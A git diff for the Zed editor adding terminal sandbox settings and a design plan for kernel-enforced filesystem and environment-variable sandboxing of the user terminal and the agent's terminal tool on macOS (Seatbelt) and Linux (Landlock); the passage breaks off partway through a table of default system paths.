path_hyperlink_timeout_ms: u64, + pub sandbox: Option, } #[derive(Copy, Clone, Debug, Serialize, Deserialize, JsonSchema, PartialEq, Eq)] @@ -129,6 +131,7 @@ impl settings::Settings for TerminalSettings { }) .collect(), path_hyperlink_timeout_ms: project_content.path_hyperlink_timeout_ms.unwrap(), + sandbox: project_content.sandbox, } } } @@ -177,3 +180,227 @@ impl From for AlacCursorStyle { } } } + +/// Resolved sandbox configuration with all defaults applied. +/// This is the concrete type passed to the terminal spawning code. +#[derive(Clone, Debug)] +pub struct SandboxConfig { + pub project_dir: PathBuf, + pub system_paths: ResolvedSystemPaths, + pub additional_executable_paths: Vec, + pub additional_read_only_paths: Vec, + pub additional_read_write_paths: Vec, + pub allow_network: bool, + pub allowed_env_vars: Vec, +} + +/// Resolved system paths with OS-specific defaults applied. +#[derive(Clone, Debug)] +pub struct ResolvedSystemPaths { + pub executable: Vec, + pub read_only: Vec, + pub read_write: Vec, +} + +impl ResolvedSystemPaths { + pub fn from_settings(settings: &settings::SystemPathsSettingsContent) -> Self { + Self { + executable: settings + .executable + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_executable), + read_only: settings + .read_only + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_read_only), + read_write: settings + .read_write + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_read_write), + } + } + + pub fn with_defaults() -> Self { + Self { + executable: Self::default_executable(), + read_only: Self::default_read_only(), + read_write: Self::default_read_write(), + } + } + + #[cfg(target_os = "macos")] + fn default_executable() -> Vec { + vec![ + "/bin".into(), + "/usr/bin".into(), + "/usr/sbin".into(), + "/sbin".into(), + "/usr/lib".into(), + "/usr/libexec".into(), + "/System/Library/dyld".into(), + "/System/Cryptexes".into(), + "/Library/Developer/CommandLineTools/usr/bin".into(), + "/Library/Developer/CommandLineTools/usr/lib".into(), + "/Library/Apple/usr/bin".into(), + "/opt/homebrew/bin".into(), + "/opt/homebrew/sbin".into(), + "/opt/homebrew/Cellar".into(), + "/opt/homebrew/lib".into(), + "/usr/local/bin".into(), + "/usr/local/lib".into(), + ] + } + + #[cfg(target_os = "linux")] + fn default_executable() -> Vec { + vec![ + "/usr/bin".into(), + "/usr/sbin".into(), + "/usr/lib".into(), + "/usr/lib64".into(), + "/usr/libexec".into(), + "/lib".into(), + "/lib64".into(), + "/bin".into(), + "/sbin".into(), + ] + } + + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + fn default_executable() -> Vec { + vec![] + } + + #[cfg(target_os = "macos")] + fn default_read_only() -> Vec { + vec![ + "/private/etc".into(), + "/usr/share".into(), + "/System/Library/Keychains".into(), + "/Library/Developer/CommandLineTools/SDKs".into(), + "/Library/Preferences/SystemConfiguration".into(), + "/opt/homebrew/share".into(), + "/opt/homebrew/etc".into(), + "/usr/local/share".into(), + "/usr/local/etc".into(), + ] + } + + #[cfg(target_os = "linux")] + fn default_read_only() -> Vec { + vec![ + "/etc".into(), + "/usr/share".into(), + "/usr/include".into(), + "/usr/lib/locale".into(), + ] + } + + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + fn default_read_only() -> Vec { + vec![] + } + + #[cfg(target_os = "macos")] + fn default_read_write() -> Vec { + vec![ + "/dev".into(), + "/private/tmp".into(), + "/var/folders".into(), + "/private/var/run/mDNSResponder".into(), + ] + } + + #[cfg(target_os = "linux")] + fn default_read_write() -> Vec { + vec![ + "/dev".into(), + "/tmp".into(), + "/var/tmp".into(), + "/dev/shm".into(), + "/run/user".into(), + ] + } + + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + fn default_read_write() -> Vec { + vec![] + } +} + +impl SandboxConfig { + /// Default environment variables to pass through to sandboxed terminals. + pub fn default_allowed_env_vars() -> Vec { + vec![ + "PATH".into(), + "HOME".into(), + "USER".into(), + "SHELL".into(), + "LANG".into(), + "TERM".into(), + "TERM_PROGRAM".into(), + "CARGO_HOME".into(), + "RUSTUP_HOME".into(), + "GOPATH".into(), + "EDITOR".into(), + "VISUAL".into(), + "XDG_CONFIG_HOME".into(), + "XDG_DATA_HOME".into(), + "XDG_RUNTIME_DIR".into(), + "SSH_AUTH_SOCK".into(), + "GPG_TTY".into(), + "COLORTERM".into(), + ] + } + + /// Resolve a `SandboxConfig` from settings, applying all defaults. + pub fn from_settings( + sandbox_settings: &settings::SandboxSettingsContent, + project_dir: PathBuf, + ) -> Self { + let system_paths = sandbox_settings + .system_paths + .as_ref() + .map(|sp| ResolvedSystemPaths::from_settings(sp)) + .unwrap_or_else(ResolvedSystemPaths::with_defaults); + + let home_dir = std::env::var("HOME").ok().map(PathBuf::from); + let expand_paths = |paths: &Option>| -> Vec { + paths + .as_ref() + .map(|v| { + v.iter() + .map(|p| { + if let Some(rest) = p.strip_prefix("~/") { + if let Some(ref home) = home_dir { + return home.join(rest); + } + } + PathBuf::from(p) + }) + .collect() + }) + .unwrap_or_default() + }; + + Self { + project_dir, + system_paths, + additional_executable_paths: expand_paths( + &sandbox_settings.additional_executable_paths, + ), + additional_read_only_paths: expand_paths(&sandbox_settings.additional_read_only_paths), + additional_read_write_paths: expand_paths( + &sandbox_settings.additional_read_write_paths, + ), + allow_network: sandbox_settings.allow_network.unwrap_or(true), + allowed_env_vars: sandbox_settings + .allowed_env_vars + .clone() + .unwrap_or_else(Self::default_allowed_env_vars), + } + } +} diff --git a/crates/terminal_view/src/terminal_panel.rs b/crates/terminal_view/src/terminal_panel.rs index 93b9e651191e791da8bbda35600c3db001b46d90..0ccfea627e03477467c93e7539b03864a36cc58b 100644 --- a/crates/terminal_view/src/terminal_panel.rs +++ b/crates/terminal_view/src/terminal_panel.rs @@ -641,7 +641,7 @@ impl TerminalPanel { .workspace .update(cx, |workspace, cx| { Self::add_center_terminal(workspace, window, cx, |project, cx| { - project.create_terminal_task(spawn_task, cx) + project.create_terminal_task(spawn_task, None, cx) }) }) .unwrap_or_else(|e| Task::ready(Err(e))), @@ -785,7 +785,9 @@ impl TerminalPanel { })?; let project = workspace.read_with(cx, |workspace, _| workspace.project().clone())?; let terminal = project - .update(cx, |project, cx| project.create_terminal_task(task, cx)) + .update(cx, |project, cx| { + project.create_terminal_task(task, None, cx) + }) .await?; let result = workspace.update_in(cx, |workspace, window, cx| { let terminal_view = Box::new(cx.new(|cx| { @@ -991,7 +993,7 @@ impl TerminalPanel { })??; let new_terminal = project .update(cx, |project, cx| { - project.create_terminal_task(spawn_task, cx) + project.create_terminal_task(spawn_task, None, cx) }) .await?; terminal_to_replace.update_in(cx, |terminal_to_replace, window, cx| { diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs index 109b79ff06b6e6dff6334765050979f14b400d35..685dbf1ae1f8efdc25898d99ea9ecdd181c0153c 100644 --- a/crates/zed/src/main.rs +++ b/crates/zed/src/main.rs @@ -191,6 +191,15 @@ fn main() { return; } + // `zed --sandbox-exec` Makes zed operate as a sandbox wrapper: + // apply OS-level sandbox, filter env vars, then exec the real shell. + #[cfg(unix)] + if let Some(config_json) = &args.sandbox_exec { + terminal::sandbox_exec_main(config_json, &args.paths_or_urls); + // sandbox_exec_main never returns (it execs the real shell) + unreachable!("sandbox_exec_main should have called exec"); + } + // `zed --crash-handler` Makes zed operate in minidump crash handler mode if let Some(socket) = &args.crash_handler { crashes::crash_server(socket.as_path()); @@ -1663,6 +1672,13 @@ struct Args { #[arg(long, hide = true)] dump_all_actions: bool, + /// Run as a sandbox wrapper: apply OS-level sandbox, filter env, then exec + /// the real shell. The value is a base64-encoded JSON sandbox config. + /// Remaining arguments after `--` are the real shell command. + #[cfg(unix)] + #[arg(long, hide = true)] + sandbox_exec: Option, + /// Output current environment variables as JSON to stdout #[arg(long, hide = true)] printenv: bool, diff --git a/plan.md b/plan.md new file mode 100644 index 0000000000000000000000000000000000000000..c5d06d0cad943c744ff0590c22810dcb4bb344b2 --- /dev/null +++ b/plan.md @@ -0,0 +1,920 @@ +# Terminal Sandboxing Design Plan + +## Overview + +This plan describes a sandboxing system for Zed's terminal, covering both the interactive user terminal and the agent's terminal tool. The sandbox restricts which directories the shell process can access and which environment variables it receives, using OS-level kernel-enforced mechanisms on macOS and Linux. + +**Goals:** +- A user can enable sandboxing in Zed settings and have total confidence that the terminal (and/or the agent's terminal tool) cannot access any directories outside the project, other than the ones they've explicitly allowed. +- Environment variables are filtered: only explicitly allowed env vars are passed to the shell. +- The sandbox is invisible to the user — same shell, same tools, same paths. The only observable difference is that accessing disallowed paths fails with a permission error. +- No third-party dependencies. Both mechanisms (macOS Seatbelt and Linux Landlock) are built into the OS kernel. + +**Non-goals (for this phase):** +- Windows sandboxing. Windows lacks a clean process-scoped filesystem restriction mechanism. The options (AppContainer with DACL mutation, WSL2 with Landlock) are deferred to a future phase. +- Container-based isolation. This plan covers per-process sandboxing only. + +--- + +## Platform Mechanisms + +### macOS: Seatbelt (`sandbox_init`) + +macOS provides `sandbox_init()` from ``. It takes a policy string written in SBPL (Sandbox Profile Language) and applies it to the calling process. Key properties: + +- Applied inside the child process after `fork()`, before `exec()`. +- Once applied, the sandbox **cannot be removed or loosened**, only tightened. +- **Inherited by all child processes** — the shell and everything it spawns is sandboxed. +- Enforced at the **kernel level** by `Sandbox.kext`. There is no userspace bypass. +- No host state is mutated. The sandbox is purely process-scoped. No cleanup needed. +- The API is technically deprecated by Apple but still works on all macOS versions, is used extensively by Apple's own system services (Safari tab sandboxing, mDNSResponder, etc.), and has no public replacement. + +### Linux: Landlock + +Landlock is a Linux Security Module for unprivileged application sandboxing. It uses three syscalls: + +1. `landlock_create_ruleset()` — Create a ruleset, declaring which access types are controlled (deny-by-default for anything "handled"). +2. `landlock_add_rule()` — Add allow-rules: "this directory hierarchy gets these access rights." +3. `landlock_restrict_self()` — Enforce the ruleset. **Inherited by all children.** Cannot be removed or weakened. + +Key properties: + +- Requires `prctl(PR_SET_NO_NEW_PRIVS, 1)` before `landlock_restrict_self()`. This prevents the process from gaining privileges via setuid binaries (so `sudo` will not work inside a sandboxed terminal — this is desirable). +- Available since kernel 5.13 (June 2021). Enabled by default in all major distros: Ubuntu 22.04+, Fedora 36+, Debian 12+, Arch, RHEL 9, openSUSE Tumbleweed, NixOS. +- The `landlock` Rust crate (on crates.io) provides a safe, idiomatic API with built-in graceful degradation: `RulesetStatus::FullyEnforced`, `PartiallyEnforced`, or `NotEnforced`. +- No host state is mutated. No cleanup needed. +- **Important**: Shared libraries must have **execute** permission (not just read) because `mmap()` with `PROT_EXEC` is how `ld-linux.so` loads `.so` files. Any path containing shared libraries needs read+execute, not just read-only. + +--- + +## Integration Point + +Both the user terminal and the agent terminal tool converge at `TerminalBuilder::new()` in `crates/terminal/src/terminal.rs`, which builds `alacritty_terminal::tty::Options` and calls `tty::new()`. The `tty::new()` function (in Zed's fork of alacritty at `alacritty_terminal/src/tty/unix.rs`) creates a PTY and spawns the shell using `std::process::Command` with a `pre_exec` hook. + +The `pre_exec` hook runs **after `fork()` but before `exec()`** — this is exactly when both `sandbox_init()` (macOS) and Landlock (Linux) must be applied. + +Current `pre_exec` hook in the alacritty fork (`alacritty_terminal/src/tty/unix.rs`): + +```rust +unsafe { + builder.pre_exec(move || { + let err = libc::setsid(); + if err == -1 { + return Err(Error::other("Failed to set session id")); + } + if let Some(working_directory) = working_directory.as_ref() { + let _ = env::set_current_dir(working_directory); + } + set_controlling_terminal(slave_fd); + libc::close(slave_fd); + libc::close(master_fd); + libc::signal(libc::SIGCHLD, libc::SIG_DFL); + libc::signal(libc::SIGHUP, libc::SIG_DFL); + libc::signal(libc::SIGINT, libc::SIG_DFL); + libc::signal(libc::SIGQUIT, libc::SIG_DFL); + libc::signal(libc::SIGTERM, libc::SIG_DFL); + libc::signal(libc::SIGALRM, libc::SIG_DFL); + Ok(()) + }); +} +``` + +The sandbox call must be inserted **after** `set_controlling_terminal` (which needs PTY device access) and **after** closing the master/slave fds, but **before** `exec()` happens (which is implicit when `pre_exec` returns and the `Command` proceeds to exec). + +### Two terminal code paths + +The user terminal and agent terminal tool follow **separate code paths** that converge at `TerminalBuilder`: + +| | User Terminal | Agent Terminal Tool | +|---|---|---| +| Entry point | `Project::create_terminal_shell_internal` | `create_terminal_entity` in `acp_thread/src/terminal.rs` | +| Shell | User's configured `terminal.shell` | Hard-coded `/bin/sh` via `get_default_system_shell_preferring_bash()` | +| Stdin | Normal | Redirected to `/dev/null` | +| Both converge at | `TerminalBuilder::new(...)` | `TerminalBuilder::new(...)` (via `Project::create_terminal_task`) | + +The `apply_to` setting controls which path gets sandboxed. Each path checks the setting before passing a `SandboxConfig` to `TerminalBuilder::new()`. + +--- + +## Settings Schema + +### Rust types + +Add to `crates/settings_content/src/terminal.rs`, as a new field on `ProjectTerminalSettingsContent` (so it's available in both user settings and project-level `.zed/settings.json`): + +```rust +#[derive(Debug, Default, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct SandboxSettingsContent { + /// Whether terminal sandboxing is enabled. + /// Default: false + pub enabled: Option, + + /// Which terminal types get sandboxed. + /// - "terminal": only the user's interactive terminal panel + /// - "tool": only the agent's terminal tool + /// - "both": both + /// - "neither": sandbox settings are defined but not applied + /// Default: "both" + pub apply_to: Option, + + /// System paths the shell needs to function. These have OS-specific + /// defaults built into Zed. Set a category to an explicit array to + /// replace the default. Set to [] to deny all access of that type. + /// Leave as null to use the OS-specific default. + pub system_paths: Option, + + /// Additional directories to allow read+execute access to (binaries, toolchains). + /// These are for user-specific tool directories, not system paths. + pub additional_executable_paths: Option>, + + /// Additional directories to allow read-only access to. + pub additional_read_only_paths: Option>, + + /// Additional directories to allow read+write access to. + pub additional_read_write_paths: Option>, + + /// Whether to allow network access from the sandboxed terminal. + /// Default: true + pub allow_network: Option, + + /// Environment variables to pass through to the sandboxed terminal. + /// All other env vars from the parent process are stripped. + /// Default: ["PATH", "HOME", "USER", "SHELL", "LANG", "TERM", "TERM_PROGRAM", + /// "CARGO_HOME", "RUSTUP_HOME", "GOPATH", "EDITOR", "VISUAL", + /// "XDG_CONFIG_HOME", "XDG_DATA_HOME", "XDG_RUNTIME_DIR", + /// "SSH_AUTH_SOCK", "GPG_TTY", "COLORTERM"] + pub allowed_env_vars: Option>, +} + +#[derive(Debug, Default, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct SystemPathsSettingsContent { + /// Paths with read+execute access (binaries, shared libraries). + /// Default (macOS): ["/bin", "/usr/bin", "/usr/sbin", "/sbin", "/usr/lib", + /// "/usr/libexec", "/System/Library/dyld", "/System/Cryptexes", + /// "/Library/Developer/CommandLineTools/usr/bin", + /// "/Library/Developer/CommandLineTools/usr/lib", + /// "/Library/Apple/usr/bin", + /// "/opt/homebrew/bin", "/opt/homebrew/sbin", "/opt/homebrew/Cellar", + /// "/opt/homebrew/lib", "/usr/local/bin", "/usr/local/lib"] + /// Default (Linux): ["/usr/bin", "/usr/sbin", "/usr/lib", "/usr/lib64", + /// "/usr/libexec", "/lib", "/lib64", "/bin", "/sbin"] + pub executable: Option>, + + /// Paths with read-only access (config files, data, certificates). + /// Default (macOS): ["/private/etc", "/usr/share", "/System/Library/Keychains", + /// "/Library/Developer/CommandLineTools/SDKs", + /// "/Library/Preferences/SystemConfiguration", + /// "/opt/homebrew/share", "/opt/homebrew/etc", + /// "/usr/local/share", "/usr/local/etc"] + /// Default (Linux): ["/etc", "/usr/share", "/usr/include", "/usr/lib/locale"] + pub read_only: Option>, + + /// Paths with read+write access (devices, temp directories, IPC sockets). + /// Default (macOS): ["/dev", "/private/tmp", "/var/folders", + /// "/private/var/run/mDNSResponder"] + /// Default (Linux): ["/dev", "/tmp", "/var/tmp", "/dev/shm", "/run/user"] + pub read_write: Option>, +} + +#[derive(Debug, Default, Clone, Copy, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum SandboxApplyTo { + Terminal, + Tool, + #[default] + Both, + Neither, +} +``` + +Add to `ProjectTerminalSettingsContent`: + +```rust +pub struct ProjectTerminalSettingsContent { + // ... existing fields ... + pub sandbox: Option, +} +``` + +### Example user settings (settings.json) + +Basic usage: + +```json +{ + "terminal": { + "sandbox": { + "enabled": true, + "apply_to": "both", + "additional_executable_paths": ["~/.cargo/bin", "~/.rustup/toolchains", "~/.local/bin"], + "additional_read_only_paths": ["~/.ssh"], + "additional_read_write_paths": ["~/.cargo/registry", "~/.cargo/git", "~/.cache"], + "allow_network": true, + "allowed_env_vars": [ + "PATH", "HOME", "USER", "SHELL", "LANG", "TERM", "TERM_PROGRAM", + "CARGO_HOME", "RUSTUP_HOME", "GOPATH", "EDITOR", "VISUAL", + "XDG_CONFIG_HOME", "XDG_DATA_HOME", "XDG_RUNTIME_DIR", + "SSH_AUTH_SOCK", "GPG_TTY", "COLORTERM" + ] + } + } +} +``` + +### OS-specific overrides + +Zed has a built-in platform override system. Top-level `"macos"`, `"linux"`, and `"windows"` keys in settings.json contain the same settings structure, and their values override the base settings on that platform. + +To customize `system_paths` per platform, users use this existing mechanism: + +```json +{ + "terminal": { + "sandbox": { + "enabled": true, + "apply_to": "both", + "additional_executable_paths": ["~/.cargo/bin", "~/.rustup/toolchains"], + "additional_read_only_paths": ["~/.ssh"], + "additional_read_write_paths": ["~/.cargo/registry", "~/.cargo/git"] + } + }, + + "macos": { + "terminal": { + "sandbox": { + "system_paths": { + "executable": [ + "/bin", "/usr/bin", "/usr/sbin", "/sbin", + "/usr/lib", "/usr/libexec", + "/System/Library/dyld", "/System/Cryptexes", + "/Library/Developer/CommandLineTools/usr/bin", + "/Library/Developer/CommandLineTools/usr/lib" + ] + } + } + } + }, + + "linux": { + "terminal": { + "sandbox": { + "system_paths": { + "executable": [ + "/usr/bin", "/usr/lib", "/usr/lib64", + "/lib", "/lib64", "/bin" + ] + } + } + } + } +} +``` + +When a `system_paths` subcategory is `null` (the default), Zed uses the built-in OS-specific default. When the user sets it to an explicit array, that **replaces** the default entirely. Only the overridden category is replaced — the other categories keep their defaults. + +--- + +## Resolved Config Types + +At runtime, `Option`-wrapped settings are resolved into concrete types with all defaults applied: + +```rust +pub struct SandboxConfig { + pub project_dir: PathBuf, + pub system_paths: ResolvedSystemPaths, + pub additional_executable_paths: Vec, + pub additional_read_only_paths: Vec, + pub additional_read_write_paths: Vec, + pub allow_network: bool, + pub allowed_env_vars: Vec, +} + +pub struct ResolvedSystemPaths { + pub executable: Vec, + pub read_only: Vec, + pub read_write: Vec, +} +``` + +Default resolution: + +```rust +impl ResolvedSystemPaths { + pub fn from_settings(settings: &SystemPathsSettingsContent) -> Self { + Self { + executable: settings.executable + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_executable), + read_only: settings.read_only + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_read_only), + read_write: settings.read_write + .clone() + .map(|v| v.into_iter().map(PathBuf::from).collect()) + .unwrap_or_else(Self::default_read_write), + } + } +} +``` + +The `default_*` methods use `#[cfg(target_os = "macos")]` and `#[cfg(target_os = "linux")]` to return the appropriate OS-specific paths. See the "System Path Baselines" section below for the full lists. + +--- + +## macOS Implementation: Seatbelt + +### FFI bindings + +Create a new file in the alacritty fork (or in `crates/terminal/src/`): + +```rust +#[cfg(target_os = "macos")] +mod seatbelt { + use std::ffi::{CStr, CString}; + use std::io::{Error, Result}; + use std::os::raw::c_char; + + extern "C" { + fn sandbox_init(profile: *const c_char, flags: u64, errorbuf: *mut *mut c_char) -> i32; + fn sandbox_free_error(errorbuf: *mut c_char); + } + + /// Apply a Seatbelt sandbox profile to the current process. + /// Must be called after fork(), before exec(). + /// The profile is an SBPL (Sandbox Profile Language) string. + pub fn apply_sandbox(profile: &str) -> Result<()> { + let profile_cstr = CString::new(profile) + .map_err(|_| Error::other("sandbox profile contains null byte"))?; + let mut errorbuf: *mut c_char = std::ptr::null_mut(); + + let ret = unsafe { sandbox_init(profile_cstr.as_ptr(), 0, &mut errorbuf) }; + + if ret == 0 { + return Ok(()); + } + + let msg = if !errorbuf.is_null() { + let s = unsafe { CStr::from_ptr(errorbuf) }.to_string_lossy().into_owned(); + unsafe { sandbox_free_error(errorbuf) }; + s + } else { + "unknown sandbox error".to_string() + }; + Err(Error::other(format!("sandbox_init failed: {msg}"))) + } +} +``` + +### SBPL profile generation + +The profile is generated dynamically from the `SandboxConfig`: + +```rust +fn generate_sbpl_profile(config: &SandboxConfig) -> String { + let mut p = String::from("(version 1)\n(deny default)\n"); + + // Process lifecycle + p.push_str("(allow process-exec)\n"); + p.push_str("(allow process-fork)\n"); + p.push_str("(allow signal)\n"); + + // System services needed for basic operation + p.push_str("(allow mach-lookup)\n"); // IPC (needed for DNS, system services) + p.push_str("(allow sysctl-read)\n"); // Kernel parameter reads + p.push_str("(allow iokit-open)\n"); // IOKit (needed for some device access) + + // System executable paths (read + execute) + for path in &config.system_paths.executable { + write!(p, "(allow file-read* process-exec (subpath \"{}\"))\n", + path.display()).unwrap(); + } + + // System read-only paths + for path in &config.system_paths.read_only { + write!(p, "(allow file-read* (subpath \"{}\"))\n", + path.display()).unwrap(); + } + + // System read+write paths (devices, temp dirs, IPC) + for path in &config.system_paths.read_write { + write!(p, "(allow file-read* file-write* (subpath \"{}\"))\n", + path.display()).unwrap(); + } + + // Project directory: full access + write!(p, "(allow file-read* file-write* (subpath \"{}\"))\n", + config.project_dir.display()).unwrap(); + + // User-configured additional paths + for path in &config.additional_executable_paths { + write!(p, "(allow file-read* process-exec (subpath \"{}\"))\n", + path.display()).unwrap(); + } + for path in &config.additional_read_only_paths { + write!(p, "(allow file-read* (subpath \"{}\"))\n", + path.display()).unwrap(); + } + for path in &config.additional_read_write_paths { + write!(p, "(allow file-read* file-write* (subpath \"{}\"))\n", + path.display()).unwrap(); + } + + // User shell config files: read-only access to $HOME dotfiles + // These are needed for shell startup but should not be writable. + if let Some(home) = dirs::home_dir() { + for dotfile in &[ + ".zshrc", ".zshenv", ".zprofile", ".zlogin", ".zlogout", + ".bashrc", ".bash_profile", ".bash_login", ".profile", + ".inputrc", ".terminfo", + ".gitconfig", + ] { + let path = home.join(dotfile); + if path.exists() { + write!(p, "(allow file-read* (literal \"{}\"))\n", + path.display()).unwrap(); + } + } + // XDG config directories + let config_dir = home.join(".config"); + if config_dir.exists() { + write!(p, "(allow file-read* (subpath \"{}\"))\n", + config_dir.display()).unwrap(); + } + } + + // Network + if config.allow_network { + p.push_str("(allow network-outbound)\n"); + p.push_str("(allow network-inbound)\n"); + p.push_str("(allow system-socket)\n"); + } + + p +} +``` + +### Integration into pre_exec + +In `alacritty_terminal/src/tty/unix.rs`, inside the `pre_exec` closure: + +```rust +// After set_controlling_terminal and closing fds, before signal setup: +#[cfg(target_os = "macos")] +if let Some(ref sandbox_config) = config.sandbox { + let profile = generate_sbpl_profile(sandbox_config); + seatbelt::apply_sandbox(&profile)?; +} +``` + +--- + +## Linux Implementation: Landlock + +### Crate dependency + +Add to the alacritty fork's `Cargo.toml`: + +```toml +[target.'cfg(target_os = "linux")'.dependencies] +landlock = "0.4" +``` + +### Landlock ruleset construction + +```rust +#[cfg(target_os = "linux")] +mod landlock_sandbox { + use landlock::{ + ABI, Access, AccessFs, PathBeneath, PathFd, + Ruleset, RulesetAttr, RulesetCreatedAttr, RulesetStatus, + }; + use std::io::{Error, Result}; + use std::path::Path; + + const TARGET_ABI: ABI = ABI::V5; + + fn fs_read() -> AccessFs { + AccessFs::ReadFile | AccessFs::ReadDir + } + + fn fs_read_exec() -> AccessFs { + fs_read() | AccessFs::Execute + } + + fn fs_all() -> AccessFs { + AccessFs::from_all(TARGET_ABI) + } + + fn add_path_rule( + ruleset: landlock::RulesetCreated, + path: &Path, + access: AccessFs, + ) -> std::result::Result { + match PathFd::new(path) { + Ok(fd) => ruleset.add_rule(PathBeneath::new(fd, access)), + Err(e) => { + // Path doesn't exist — skip it (e.g., /opt/homebrew on non-Homebrew systems) + log::debug!("Landlock: skipping nonexistent path {}: {e}", path.display()); + Ok(ruleset) + } + } + } + + pub fn apply_sandbox(config: &SandboxConfig) -> Result<()> { + // PR_SET_NO_NEW_PRIVS is required before landlock_restrict_self. + // It prevents the process from gaining privileges via setuid binaries. + let ret = unsafe { libc::prctl(libc::PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) }; + if ret != 0 { + return Err(Error::last_os_error()); + } + + let mut ruleset = Ruleset::default() + .handle_access(AccessFs::from_all(TARGET_ABI)) + .map_err(|e| Error::other(format!("landlock ruleset create: {e}")))? + .create() + .map_err(|e| Error::other(format!("landlock ruleset init: {e}")))?; + + // System executable paths (read + execute) + for path in &config.system_paths.executable { + ruleset = add_path_rule(ruleset, path, fs_read_exec()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // System read-only paths + for path in &config.system_paths.read_only { + ruleset = add_path_rule(ruleset, path, fs_read()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // System read+write paths + for path in &config.system_paths.read_write { + ruleset = add_path_rule(ruleset, path, fs_all()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // Project directory: full access + ruleset = add_path_rule(ruleset, &config.project_dir, fs_all()) + .map_err(|e| Error::other(format!("landlock project rule: {e}")))?; + + // User-configured paths + for path in &config.additional_executable_paths { + ruleset = add_path_rule(ruleset, path, fs_read_exec()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + for path in &config.additional_read_only_paths { + ruleset = add_path_rule(ruleset, path, fs_read()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + for path in &config.additional_read_write_paths { + ruleset = add_path_rule(ruleset, path, fs_all()) + .map_err(|e| Error::other(format!("landlock rule: {e}")))?; + } + + // Shell config dotfiles: read-only + if let Some(home) = dirs::home_dir() { + for dotfile in &[ + ".bashrc", ".bash_profile", ".bash_login", ".profile", + ".zshrc", ".zshenv", ".zprofile", ".zlogin", ".zlogout", + ".inputrc", ".terminfo", ".gitconfig", + ] { + let path = home.join(dotfile); + if path.exists() { + ruleset = add_path_rule(ruleset, &path, fs_read()) + .map_err(|e| Error::other(format!("landlock dotfile rule: {e}")))?; + } + } + let config_dir = home.join(".config"); + if config_dir.exists() { + ruleset = add_path_rule(ruleset, &config_dir, fs_read()) + .map_err(|e| Error::other(format!("landlock .config rule: {e}")))?; + } + // /proc/self for bash process substitution + let proc_self = Path::new("/proc/self"); + if proc_self.exists() { + ruleset = add_path_rule(ruleset, proc_self, fs_read()) + .map_err(|e| Error::other(format!("landlock /proc/self rule: {e}")))?; + } + } + + let status = ruleset.restrict_self() + .map_err(|e| Error::other(format!("landlock restrict_self: {e}")))?; + + match status.ruleset { + RulesetStatus::FullyEnforced => { + log::info!("Landlock sandbox fully enforced"); + } + RulesetStatus::PartiallyEnforced => { + log::warn!("Landlock sandbox partially enforced (older kernel ABI)"); + } + RulesetStatus::NotEnforced => { + log::warn!("Landlock not supported on this kernel; running unsandboxed"); + } + } + + Ok(()) + } +} +``` + +### Integration into pre_exec + +Same location as macOS, but `#[cfg(target_os = "linux")]`: + +```rust +#[cfg(target_os = "linux")] +if let Some(ref sandbox_config) = config.sandbox { + landlock_sandbox::apply_sandbox(sandbox_config)?; +} +``` + +--- + +## Environment Variable Filtering + +Env var filtering happens in `TerminalBuilder::new()` (in `crates/terminal/src/terminal.rs`), where the environment HashMap is assembled before being passed to the alacritty tty options. + +Currently, `env` is a `HashMap` that inherits the parent's environment and adds/removes a few keys. When sandbox is enabled: + +1. **In `TerminalBuilder::new()`**, after the env HashMap is built, filter it: + +```rust +if let Some(ref sandbox) = sandbox_config { + let allowed: HashSet<&str> = sandbox.allowed_env_vars.iter() + .map(|s| s.as_str()).collect(); + env.retain(|key, _| allowed.contains(key.as_str())); +} +``` + +2. **In the alacritty fork's `tty::unix::from_fd()`**, when sandbox is enabled, call `builder.env_clear()` before setting env vars. This ensures the child doesn't inherit any env from the parent that wasn't explicitly passed through: + +```rust +if config.sandbox.is_some() { + builder.env_clear(); +} +// Then set the filtered env vars as normal: +for (key, value) in &config.env { + builder.env(key, value); +} +``` + +The Zed-specific env vars inserted by `insert_zed_terminal_env()` (like `ZED_TERM`, `TERM_PROGRAM`) should always be added regardless of the allowlist — they're not from the parent environment. + +--- + +## System Path Baselines + +### macOS defaults + +#### `executable` (read + execute) + +| Path | Why | Security notes | +|---|---|---| +| `/bin` | Core utilities (`sh`, `zsh`, `ls`, `cat`, `cp`, `rm`, `mkdir`, etc.) | Apple-signed system binaries. A rogue agent can run `rm` but can only delete files within writable sandbox paths. | +| `/usr/bin` | Standard tools (`env`, `git`, `grep`, `sed`, `awk`, `ssh`, `less`, etc.) | Same. `ssh` could connect outward if network is allowed, but can't read `~/.ssh` keys unless explicitly allowlisted. | +| `/usr/sbin`, `/sbin` | System admin tools | Rarely needed but some scripts reference them. Harmless — read+exec only. | +| `/usr/lib` | Shared libraries, `dyld` | Read+exec only. Cannot modify. | +| `/usr/libexec` | Helper binaries (`path_helper`, git helpers) | Single-purpose executables. | +| `/System/Library/dyld` | dyld shared cache (`dyld_shared_cache_arm64e`). On macOS 11+ most `/usr/lib/*.dylib` are stubs; real code lives here. | Binary cache data. No meaningful data to exfiltrate. | +| `/System/Cryptexes` | Cryptex-delivered OS components (macOS 13+) | Same. | +| `/Library/Developer/CommandLineTools/usr/bin` | Real `git`, `clang`, `make`, `ld` (behind Xcode shims in `/usr/bin`) | Same security profile as `/usr/bin`. | +| `/Library/Developer/CommandLineTools/usr/lib` | Xcode toolchain support libraries | Read+exec only. | +| `/Library/Apple/usr/bin` | Apple-provided binaries | Read+exec only. | +| `/opt/homebrew/bin`, 